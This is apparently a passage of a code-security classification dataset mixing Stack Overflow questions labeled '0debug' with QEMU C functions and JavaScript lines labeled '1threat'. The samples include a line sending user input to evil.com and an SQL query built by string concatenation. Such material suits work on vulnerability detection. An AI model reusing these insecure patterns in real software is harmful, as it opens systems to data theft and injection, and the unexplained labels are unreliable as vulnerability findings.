,{\"n\":{\"nt\":1,\"tn\":\"PARAM\",\"a\":{\"name\":\"bgcolor\",\"v\":\"FFFFFF\"},\"i\":\"param37\"},\"t\":false,\"pn\":\"object3\",\"ps\":\"param36\"}]})&9CAQ",
"DataFlags": 8,
"DataFlagType": 264,
"LegacyLiveSessionDataType": null,
"LiveSessionId": 1545190526042650,
"MessageNumber": 3,
"StreamId": 0,
"StreamMessageId": 3,
"ProjectId": 201
},
{
"CreateDate": "2017-12-27T13:29:09.413Z",
"Data": "P_({\"a\":[{\"a\":{\"s\":\"w:720px;h:422px;p:relative;\"},\"n\":\"div443\"},{\"a\":{\"s\":\"p:relative;\"},\"n\":\"div445\"}],\"r\":[\"script55\"],\"m\":[{\"n\":{\"nt\":1,\"tn\":\"DIV\",\"a\":{\"c\":\"spooler\",\"s\":\"d:block;o:0;\"},\"i\":\"div451\"},\"t\":false,\"pn\":\"div443\"},{\"n\":{\"nt\":1,\"tn\":\"DIV\",\"a\":{\"c\":\"ispl_sm\",\"s\":\"o:1;\"},\"i\":\"div452\"},\"t\":false,\"pn\":\"div451\"},{\"n\":{\"nt\":1,\"tn\":\"DIV\",\"a\":{\"c\":\"layer\",\"s\":\"o:1;\"},\"i\":\"div453\"},\"t\":false,\"pn\":\"div451\",\"ps\":\"div452\"},{\"n\":{\"nt\":1,\"tn\":\"DIV\",\"a\":{\"c\":\"spooler\",\"s\":\"d:block;o:0;\"},\"i\":\"div454\"},\"t\":false,\"pn\":\"div445\"},{\"n\":{\"nt\":1,\"tn\":\"DIV\",\"a\":{\"c\":\"ispl_sm\",\"s\":\"o:1;\"},\"i\":\"div455\"},\"t\":false,\"pn\":\"div454\"},{\"n\":{\"nt\":1,\"tn\":\"DIV\",\"a\":{\"c\":\"layer\",\"s\":\"o:1;\"},\"i\":\"div456\"},\"t\":false,\"pn\":\"div454\",\"ps\":\"div455\"}]})&9CA5P_({\"a\":[{\"a\":{\"s\":\"d:block;o:0.0282439;\"},\"n\":\"div451\"},{\"a\":{\"s\":\"o:0.989022;\"},\"n\":\"div453\"},{\"a\":{\"s\":\"d:block;o:0.0282439;\"},\"n\":\"div454\"},{\"a\":{\"s\":\"o:0.989022;\"},\"n\":\"div456\"}]})&W",
"DataFlags": 8,
"DataFlagType": 264,
"LegacyLiveSessionDataType": null,
"LiveSessionId": 1545190526042650,
"MessageNumber": 4,
"StreamId": 0,
"StreamMessageId": 4,
"ProjectId": 201
}
]
</code></pre>
<p>I am trying to parse it into JSON array object , when I searched for it in Google I found the following solution:</p>
<pre><code>JSONArray jsonArray = new JSONArray("path_to_file_to_parse");
</code></pre>
<p>but when I wrote it inside my code I got an error. Is there another way to make it? </p>
<p>I am using json-simple version 1.1</p>
| 0debug |
iOS app development on windows 10 64-bit : <p>I need to build a very simple app for iOS phone but after searching the IDEs for iOS phone development i found that one way to do we will need to install VMWare with OSX image. </p>
<p>Now I am not sure it could be the ultimate solution and i hope there could be some other way to develop apps for iOS with.</p>
<p>Please suggest me some lightweight IDE that could be able to run over windows OS...
Thanks</p>
| 0debug |
Pyspark: get list of files/directories on HDFS path : <p>As in title. I' m aware of textFile but as the name suggests, it works only on text file.
I would need to access the files/directories inside a path on HDFS (or local path). I'm using pyspark</p>
<p>Thanks for help</p>
| 0debug |
App always stop when I change the image : <android.support.design.widget.FloatingActionButton
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:clickable="true"
app:fabSize="normal"
app:srcCompat="@mipmap/ic_launcher"
android:id="@+id/floatingActionButton"
android:layout_gravity="bottom|end"
android:layout_marginRight="20dp"
android:layout_marginBottom="20dp"
app:backgroundTint="#54ddde" />
Currently, floating button's image is android. But I want to change to 'plus' image.
-like this
<android.support.design.widget.FloatingActionButton
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:clickable="true"
app:fabSize="normal"
android:src="@drawable/img_plus"
android:id="@+id/floatingActionButton"
android:layout_gravity="bottom|end"
android:layout_marginRight="20dp"
android:layout_marginBottom="20dp"
app:backgroundTint="#54ddde" />
However I only change image, the app has stopped. I am really embarrassed.
help plz. | 0debug |
static BlockDriverAIOCB *raw_aio_write(BlockDriverState *bs,
int64_t sector_num, const uint8_t *buf, int nb_sectors,
BlockDriverCompletionFunc *cb, void *opaque)
{
RawAIOCB *acb;
BDRVRawState *s = bs->opaque;
if (unlikely(s->aligned_buf != NULL && ((uintptr_t) buf % 512))) {
QEMUBH *bh;
acb = qemu_aio_get(bs, cb, opaque);
acb->ret = raw_pwrite(bs, 512 * sector_num, buf, 512 * nb_sectors);
bh = qemu_bh_new(raw_aio_em_cb, acb);
qemu_bh_schedule(bh);
return &acb->common;
}
acb = raw_aio_setup(bs, sector_num, (uint8_t*)buf, nb_sectors, cb, opaque);
if (!acb)
return NULL;
if (aio_write(&acb->aiocb) < 0) {
qemu_aio_release(acb);
return NULL;
}
return &acb->common;
}
| 1threat |
CppCon 2018, Nicolai Josuttis: Why are these interpreted as iterators? : <p>Nicolai Josuttis' "The Nightmare of Initialization in C++" presentation at CppCon 2018 had, at one point, the following piece of code:</p>
<pre><code>std::vector< std::string > v07 = {{ "1", "2" }};
</code></pre>
<p>Nicolai <a href="https://youtu.be/7DTlWPgX6zs?t=2433" rel="noreferrer">said the following</a> (transcription mine):</p>
<blockquote>
<p>The problem is, what happens here is, we interpret these two parameters as <em>iterators</em>. So these are iterators, so <em>this</em> is the beginning of the range, and <em>this</em> is the end of the range, and they should refer to the same range of <em>characters</em>; because characters convert implicitly to strings this will compile. If you're lucky, you'll get a coredump. If not, you've got a big problem.</p>
</blockquote>
<p>He lost me there. Can somebody explain what is going on here, exactly, step by step?</p>
| 0debug |
static char *print_drive(void *ptr)
{
return g_strdup(bdrv_get_device_name(ptr));
}
| 1threat |
'WindowsError: [Error 32] The process cannot access the file because it is being used by another proces' when trying to call function parallelize() : File "V:/PyCharmProjects/sample.py", line 9, in <module>
input_data = sc.parallelize(sc.textFile("C:\Users\Spider\Desktop\GM_coding\Sample Data 2016.csv"))
File "V:\spark-2.2.0-bin-hadoop2.7\python\pyspark\context.py", line 497, in parallelize os.unlink(tempFile.name)
WindowsError: [Error 32] The process cannot access the file because it is being used by another process: u'C:\\Users\\Spider\\AppData\\Local\\Temp\\spark-fef6debd-ff91-4fb6-85dc-8c3a1da9690a\\pyspark-6ed523e7-358f-4e3c-ad83-a479fb8ecc52\\tmpxffhfi'
| 0debug |
Is there a way to sync data between devices without saving on the server? : <p>I want to make my own music player website and app and I want to make it so whenever I add a new song anywhere it will update on the other platform.</p>
<p>How can I do this without actually saving all the songs on a server? I can use a server to pass the data through for syncing but I wanna do it without saving because my host limits my data.</p>
<p>Here's what I thought about but I'm not sure: Maybe every hour or so both types of clients would connect to the server and share differences (although this would be hard if I add new songs both on the website and on the app). Or I could have a manual sync button and just use it on both the phone and the app to sync. Are my ideas practical? And if not is this even possible? </p>
<p>(I can only use PHP with my host and I will use accounts i.e. username and password for the syncing)</p>
| 0debug |
Change terminal in Atom-editor's Platformio-Ide-Terminal on Windows : <p>On Windows, default terminal for <a href="https://github.com/platformio/platformio-atom-ide-terminal" rel="noreferrer">Atom's Platformio-Ide-Terminal</a> is Powershell (at least, that is what I get without any configuration). </p>
<p>I would prefer a terminal using unix-type commands. I already have MINGW and CYGWIN installed.</p>
<p>How can I avoid opening a Powershell and opening another terminal type instead?</p>
| 0debug |
File Staged Content Different from HEAD : <p>When I attempt to use <code>git rm --cached</code> I receive the following error:</p>
<pre><code>error: the following file has staged content different from both the file and the HEAD:
</code></pre>
<p>I know that I can circumvent this error with <code>git rm --cached -f <filename></code>. But normally when I unstage files with <code>git rm --cached</code> I do not get this error. </p>
<p>My question is what does it mean that the file has different staged content from the <code>HEAD</code>.</p>
| 0debug |
ASP.NET 5 / MVC 6 On-Premises Active Directory : <p>For earlier versions of .NET application templates i.e. 4.5.2 you can create a new Web Application, Change the Authentication to 'Work and School Accounts' and choose 'On-Premises'. In .NET 5 Web Application templates the 'Work and School Accounts' option does not have an 'On-Premises' option.</p>
<p>How do you go about authenticating via an on-premises Active Directory (LDAP) in .NET 5 using ASP.NET Identity. To be clear, I am not looking for Windows Authentication, I want to have users enter their credentials and process the authentication against the on-premises AD. IOW, users don't need to be logged into a windows machine, they can access from their mobile devices etc.</p>
<p>I've searched for hours to no avail but I wouldn't be surprised if the answer is out there somewhere. Any help is appreciated!</p>
| 0debug |
hwaddr s390_cpu_get_phys_page_debug(CPUState *cs, vaddr vaddr)
{
S390CPU *cpu = S390_CPU(cs);
CPUS390XState *env = &cpu->env;
target_ulong raddr;
int prot = PAGE_READ | PAGE_WRITE | PAGE_EXEC;
int old_exc = cs->exception_index;
uint64_t asc = env->psw.mask & PSW_MASK_ASC;
if (!(env->psw.mask & PSW_MASK_64)) {
vaddr &= 0x7fffffff;
}
mmu_translate(env, vaddr, 2, asc, &raddr, &prot);
cs->exception_index = old_exc;
return raddr;
}
| 1threat |
Dummy Variable in R : <p>Ciao Everyone, </p>
<p>I would like to create a dummy variable in R. So I have a list of Italian regions, and a variable called mafia. The mafia variable is coded 1 in the regions with high levels of mafia infiltration and 0 in the regions with lower levels of mafia penetration. </p>
<p>Now, I would like to create a dummy that considers only the regions with high levels of mafia. (=1)</p>
| 0debug |
How open other tools like htop, vim by os's package of go (golang)? : I'm writing a new project like a CLI with Go and I'm using the package [termui][1], but in a time, I need that CLI open a file with editor like VIM without exit the current CLI, when close the VIM I can back to current CLI. Is it possible?
I've tried with this example below:
```go
package main
import (
"log"
"os/exec"
)
func main() {
// render the termui
path := "SomeFile.bash"
cmd := exec.Command("vim", path)
err := cmd.Run()
if err != nil {
log.Fatal(err)
}
}
```
[1]: https://github.com/gizak/termui | 0debug |
static UHCIAsync *uhci_async_alloc(UHCIState *s)
{
UHCIAsync *async = g_malloc(sizeof(UHCIAsync));
memset(&async->packet, 0, sizeof(async->packet));
async->uhci = s;
async->valid = 0;
async->td = 0;
async->token = 0;
async->done = 0;
async->isoc = 0;
usb_packet_init(&async->packet);
qemu_sglist_init(&async->sgl, 1);
return async;
}
| 1threat |
WPF: Find text location on an image : <p>Let me explain the task by an example,</p>
<p>There is an image named demo1.jpeg and it has a whole article written on it. It's not handwritten. It's digital.</p>
<p>What I want is to find the location of a specific word on that image. Like x,y coordinates of a text on it.</p>
<p>For example, If I were to find each and every occurrence of the word "awesome" on it, I should get an array of all occurrence of that word.</p>
<p>Any suggestion with a demo would be dearly appreciated.</p>
<p>Thanks.</p>
| 0debug |
Could not find a generator for route : <p>IΒ΄m newbie to flutter and reveice one exception about route and paginator in Flutter.</p>
<pre><code>EXCEPTION CAUGHT BY GESTURE
The following assertion was thrown while handling a gesture:
Could not find a generator for route "/listadecompras" in the _MaterialAppState.
</code></pre>
<p>Follow a excerpt from code:</p>
<pre><code>import 'package:flutter/material.dart';
class MyApp extends StatelessWidget {
@override
Widget build(BuildContext context) {
return new MaterialApp(
// ...
return new ListTile(
onTap: () {
Navigator.pushNamed(context, "/listadecompras");
},
// ...
}
class ListaDeCompras extends StatelessWidget {
@override
Widget build(BuildContext context) {
return new Scaffold(
// ...
}
}
void main() {
runApp(new MaterialApp(
home: new MyApp(),
routes: <String, WidgetBuilder>{
"/listadecompras": (BuildContext context) => new ListaDeCompras()
}
));
}
</code></pre>
<p>Please, someone could send some advice?
thanks in advance for your attention</p>
| 0debug |
rand() and RAND_MAX giving different values depending upon the datatype : <p>Here when I print the value of x its giving zero as output.Whereas when I print y, I am getting correct value(a random number between 0 and 1),the typecasting is the problem it seems.Why do i need to typecast it? </p>
<pre><code>double x,y;
x=rand()/RAND_MAX;
printf("X=%f\n",x);
y=(double)rand()/RAND_MAX;
printf("Y=%f",y);
</code></pre>
<p>Output</p>
<pre><code>X=0.000000
Y=0.546745
</code></pre>
| 0debug |
static void draw_digit(int digit, uint8_t *dst, unsigned dst_linesize,
unsigned segment_width)
{
#define TOP_HBAR 1
#define MID_HBAR 2
#define BOT_HBAR 4
#define LEFT_TOP_VBAR 8
#define LEFT_BOT_VBAR 16
#define RIGHT_TOP_VBAR 32
#define RIGHT_BOT_VBAR 64
struct {
int x, y, w, h;
} segments[] = {
{ 1, 0, 5, 1 },
{ 1, 6, 5, 1 },
{ 1, 12, 5, 1 },
{ 0, 1, 1, 5 },
{ 0, 7, 1, 5 },
{ 6, 1, 1, 5 },
{ 6, 7, 1, 5 }
};
static const unsigned char masks[10] = {
TOP_HBAR |BOT_HBAR|LEFT_TOP_VBAR|LEFT_BOT_VBAR|RIGHT_TOP_VBAR|RIGHT_BOT_VBAR,
RIGHT_TOP_VBAR|RIGHT_BOT_VBAR,
TOP_HBAR|MID_HBAR|BOT_HBAR|LEFT_BOT_VBAR |RIGHT_TOP_VBAR,
TOP_HBAR|MID_HBAR|BOT_HBAR |RIGHT_TOP_VBAR|RIGHT_BOT_VBAR,
MID_HBAR |LEFT_TOP_VBAR |RIGHT_TOP_VBAR|RIGHT_BOT_VBAR,
TOP_HBAR|BOT_HBAR|MID_HBAR|LEFT_TOP_VBAR |RIGHT_BOT_VBAR,
TOP_HBAR|BOT_HBAR|MID_HBAR|LEFT_TOP_VBAR|LEFT_BOT_VBAR |RIGHT_BOT_VBAR,
TOP_HBAR |RIGHT_TOP_VBAR|RIGHT_BOT_VBAR,
TOP_HBAR|BOT_HBAR|MID_HBAR|LEFT_TOP_VBAR|LEFT_BOT_VBAR|RIGHT_TOP_VBAR|RIGHT_BOT_VBAR,
TOP_HBAR|BOT_HBAR|MID_HBAR|LEFT_TOP_VBAR |RIGHT_TOP_VBAR|RIGHT_BOT_VBAR,
};
unsigned mask = masks[digit];
int i;
draw_rectangle(0, dst, dst_linesize, segment_width, 0, 0, 8, 13);
for (i = 0; i < FF_ARRAY_ELEMS(segments); i++)
if (mask & (1<<i))
draw_rectangle(255, dst, dst_linesize, segment_width,
segments[i].x, segments[i].y, segments[i].w, segments[i].h);
}
| 1threat |
static int zipl_run(struct scsi_blockptr *pte)
{
struct component_header *header;
struct component_entry *entry;
uint8_t tmp_sec[SECTOR_SIZE];
virtio_read(pte->blockno, tmp_sec);
header = (struct component_header *)tmp_sec;
if (!zipl_magic(tmp_sec)) {
goto fail;
}
if (header->type != ZIPL_COMP_HEADER_IPL) {
goto fail;
}
dputs("start loading images\n");
entry = (struct component_entry *)(&header[1]);
while (entry->component_type == ZIPL_COMP_ENTRY_LOAD) {
if (zipl_load_segment(entry) < 0) {
goto fail;
}
entry++;
if ((uint8_t*)(&entry[1]) > (tmp_sec + SECTOR_SIZE)) {
goto fail;
}
}
if (entry->component_type != ZIPL_COMP_ENTRY_EXEC) {
goto fail;
}
jump_to_IPL_code(entry->load_address);
return 0;
fail:
sclp_print("failed running zipl\n");
return -1;
}
| 1threat |
PCIBus *pci_get_bus_devfn(int *devfnp, PCIBus *root, const char *devaddr)
{
int dom, bus;
unsigned slot;
assert(!root->parent_dev);
if (!root) {
fprintf(stderr, "No primary PCI bus\n");
return NULL;
}
if (!devaddr) {
*devfnp = -1;
return pci_find_bus_nr(root, 0);
}
if (pci_parse_devaddr(devaddr, &dom, &bus, &slot, NULL) < 0) {
return NULL;
}
if (dom != 0) {
fprintf(stderr, "No support for non-zero PCI domains\n");
return NULL;
}
*devfnp = PCI_DEVFN(slot, 0);
return pci_find_bus_nr(root, bus);
}
| 1threat |
How to get the current year from freemarker template : <p>I have use the ${.now} to get the current time stamp inside the freemarker templates, but I want to know how can I get only the year? </p>
| 0debug |
How can I set timeout for requests using Moya pod? : <p>I'm using Swift 3 and the <a href="https://github.com/Moya/Moya/" rel="noreferrer">Moya</a> pod.</p>
<p>I configured everything I needed using the <a href="https://github.com/Moya/Moya/blob/master/docs/Examples/Basic.md" rel="noreferrer">Basic Usage</a>, but I didn't find any function or variable that I can set the timeout (for every requests or for a specific request).</p>
<p>How can I do this?</p>
| 0debug |
void pci_cmd646_ide_init(PCIBus *bus, DriveInfo **hd_table,
int secondary_ide_enabled)
{
PCIDevice *dev;
dev = pci_create(bus, -1, "CMD646 IDE");
qdev_prop_set_uint32(&dev->qdev, "secondary", secondary_ide_enabled);
qdev_init(&dev->qdev);
pci_ide_create_devs(dev, hd_table);
}
| 1threat |
how can we use migration in Laravel Framework? please give me the steps : <p>I am new to this framework, I want to learn about it. I have tried the</p>
<pre><code>Schema::create()
</code></pre>
<p>method but could not migrate the table.</p>
| 0debug |
Angular 2 Route Guard / Auth Guard Security : <p>I just finished an Angular 2 course on Angular 2 and Firebase at Angular-University. </p>
<p>The instructor, Vasco (@angular-university) brought up that the Router Guard is not secure and you could bypass it since its a front-end framework.</p>
<p>We used Firebase Auth to know if a user is authenticated and setup the security rules to prevent read/write unless a user is authenticated. So, I know the data is protected.</p>
<p>However, is the route actually secure? He mentioned using a sever backend to for more security but didn't go in to any details. </p>
<p>I've been trying to search around but I haven't been able to see where anyone else has brought this up.</p>
<p>At the end of the day, is the Angular 2 router guard secure on its own or do you have to implement a server to protect routes? How would a user bypass the routes anyway?</p>
<p>Thanks!</p>
| 0debug |
VBA excel. Looking to count a number of times untill the number reappear : i am looking to start count in column B until column A sees the #0. and reset and recount until the next zero and so fourth. thank you in advance.
A B
1 2 1
2 3 2
3 9 3
4 5 4
5 3 5
6 0
7 4 1
8 5 2
9 9 3
10 0
11 7 1
. 2 2
. 5 3
. 0
| 0debug |
static void virtio_balloon_receive_stats(VirtIODevice *vdev, VirtQueue *vq)
{
VirtIOBalloon *s = VIRTIO_BALLOON(vdev);
VirtQueueElement *elem;
VirtIOBalloonStat stat;
size_t offset = 0;
qemu_timeval tv;
s->stats_vq_elem = elem = virtqueue_pop(vq, sizeof(VirtQueueElement));
if (!elem) {
goto out;
}
reset_stats(s);
while (iov_to_buf(elem->out_sg, elem->out_num, offset, &stat, sizeof(stat))
== sizeof(stat)) {
uint16_t tag = virtio_tswap16(vdev, stat.tag);
uint64_t val = virtio_tswap64(vdev, stat.val);
offset += sizeof(stat);
if (tag < VIRTIO_BALLOON_S_NR)
s->stats[tag] = val;
}
s->stats_vq_offset = offset;
if (qemu_gettimeofday(&tv) < 0) {
fprintf(stderr, "warning: %s: failed to get time of day\n", __func__);
goto out;
}
s->stats_last_update = tv.tv_sec;
out:
if (balloon_stats_enabled(s)) {
balloon_stats_change_timer(s, s->stats_poll_interval);
}
}
| 1threat |
void av_opt_set_defaults(void *s)
{
av_opt_set_defaults2(s, 0, 0);
}
| 1threat |
void OPPROTO op_405_check_ov (void)
{
do_405_check_ov();
RETURN();
}
| 1threat |
How to add one year to current year using DateTime : <p>Currently I have the following where I grab the current year:</p>
<pre><code>DateTime dt1 = DateTime.Now.Year;
Response.Write(dt1);
</code></pre>
<p>However, I would like to add one more year to <code>dt1</code>. So I did the following:</p>
<pre><code>DateTime addYear = dt1.AddYears(1);
</code></pre>
<p>But it does not like that. What would be the correct approach of adding one more year?</p>
| 0debug |
How can I print 3 .csv files side by side : I have 3 .csv files
2 files and in one directory and the third is in another directory .
How can I run all the 3 files together and print the output side by side
currently 2 seperate files
symbol qty | symbol qty | symbol qty
appl 100 appl 100 RTF 200
sy 56 gyt 67 gty 67
Want all in one csv
symbol qty symbol qty symbol qty
appl 100 appl 100 RTF 200
sy 56 gyt 67 gty 67 | 0debug |
Is The href="" function is the same with Include? : I want to ask you something about `href` on html and `include` on php. What is The Different Between `href` and `include`, they both refering to a file path. When i type '<link rel='stylesheet' href='style/style1.css' />' it means that "you can find style.css file at folder named style at your current position and so on for the include. If you can be more spesific i will appreciated it. thank | 0debug |
React Webpack 4 Resolve Alias : <p>I'm having difficulty getting resolve alias to work in my React app using WebPack, and everything I've tried from google results don't seem to make a difference.</p>
<p>Here is my resolve from webpack.</p>
<p>C:\website\webpack.config.js</p>
<pre><code>resolve: {
extensions: ['*', '.js', '.jsx'],
alias: {
apiAlias: path.resolve(__dirname, '/app/services/api/')
}
}
</code></pre>
<p>Here is C:\website\app\components\Accounts\Accounts.js</p>
<pre><code>import ApiAccounts from '/apiAlias/ApiAccounts.js';
</code></pre>
<p>and I have a file located in C:\website\app\services\api\ApiAccounts.js
Changing the above line to the below works:</p>
<pre><code>import ApiAccounts from '../../services/api/ApiAccounts.js';
</code></pre>
<p>For fullness, here are my webpack dependencies:</p>
<pre><code>"devDependencies": {
"html-webpack-plugin": "^3.2.0",
"webpack": "^4.12.0",
"webpack-cli": "^3.0.3",
"webpack-dev-server": "^3.1.4"
}
</code></pre>
<p>and yet I keep getting the error of </p>
<blockquote>
<p>ERROR in ./app/components/Accounts/Accounts.js
Module not found: Error: Can't resolve '/apiAlias/ApiAccounts.js' in 'C:\website\app\components\Accounts'</p>
</blockquote>
<p>Can anyone see anything obvious as to what I'm missing, or should try to try and get this working, or even if there is a way to debug webpack to see what path it is actually using if the alias is actually kicking in?</p>
<p>Thanks!</p>
| 0debug |
What is the TensorFlow checkpoint meta file? : <p>When saving a checkpoint, TensorFlow often saves a meta file: <code>my_model.ckpt.meta</code>. What is in that file, can we still restore a model even if we delete it and what kind of info did we lose if we restore a model without the meta file?</p>
| 0debug |
teach me buffer and it's interaction with function? : Guyz,
i am facing some problem while understanding the following code.
It is a program to read Strings from keyboard if the length of the String is lesser than the specified size(i.e 'n' here )
.
if length of the string is larger than the specified size it will discard the other next character.
**more Specifically i want to know what is happening inside buffer and how getchar() is reading the data and not storing in buffer.**
char * s_gets(char * st, int n)
{
char * ret_val;
int i = 0;
ret_val = fgets(st, n, stdin);
if (ret_val) // i.e., ret_val != NULL
{
while (st[i] != '\n' && st[i] != '\0')
i++;
if (st[i] == '\n')
st[i] = '\0';
else // must have words[i] == '\0'
while (getchar() != '\n')
continue;
}
return ret_val;
} | 0debug |
document.location = 'http://evil.com?username=' + user_input; | 1threat |
connection.query('SELECT * FROM users WHERE username = ' + input_string) | 1threat |
alert('Hello ' + user_input); | 1threat |
static void pc_compat_1_7(MachineState *machine)
{
pc_compat_2_0(machine);
smbios_defaults = false;
gigabyte_align = false;
option_rom_has_mr = true;
x86_cpu_change_kvm_default("x2apic", NULL);
}
| 1threat |
Ruby: How to search through a hash for a specific key (if the key is a string) : I have a hash and you can add items to it, but I can't make it so it can find a specific key in the hash. I found other methods, but they don't work when the key is a string. Thanks! | 0debug |
I can't install a Pythone module via pip3 : I need to install the module 'Request' but when I run the command
pip3 install Request
it gives me back this error:
This is what I need to run the program:
from urllib.request import Request, urlopen
from bs4 import BeautifulSoup
from fake_useragent import UserAgent
import random
and this is what I get when I try to install Request module via pip3 in terminal:
Collecting Request
Installing collected packages: Request
ERROR: Exception:
Traceback (most recent call last):
File "/root/.local/lib/python3.5/site-packages/pip/_internal/cli/base_command.py", line 178, in main
status = self.run(options, args)
File "/root/.local/lib/python3.5/site-packages/pip/_internal/commands/install.py", line 414, in run
use_user_site=options.use_user_site,
File "/root/.local/lib/python3.5/site-packages/pip/_internal/req/__init__.py", line 58, in install_given_reqs
**kwargs
File "/root/.local/lib/python3.5/site-packages/pip/_internal/req/req_install.py", line 920, in install
use_user_site=use_user_site, pycompile=pycompile,
File "/root/.local/lib/python3.5/site-packages/pip/_internal/req/req_install.py", line 448, in move_wheel_files
warn_script_location=warn_script_location,
File "/root/.local/lib/python3.5/site-packages/pip/_internal/wheel.py", line 428, in move_wheel_files
assert info_dir, "%s .dist-info directory not found" % req
AssertionError: Request .dist-info directory not found
While if I run
pip install Request it tells me that requirements are already satisfied, but when I run the program it says that module Request is missing. | 0debug |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.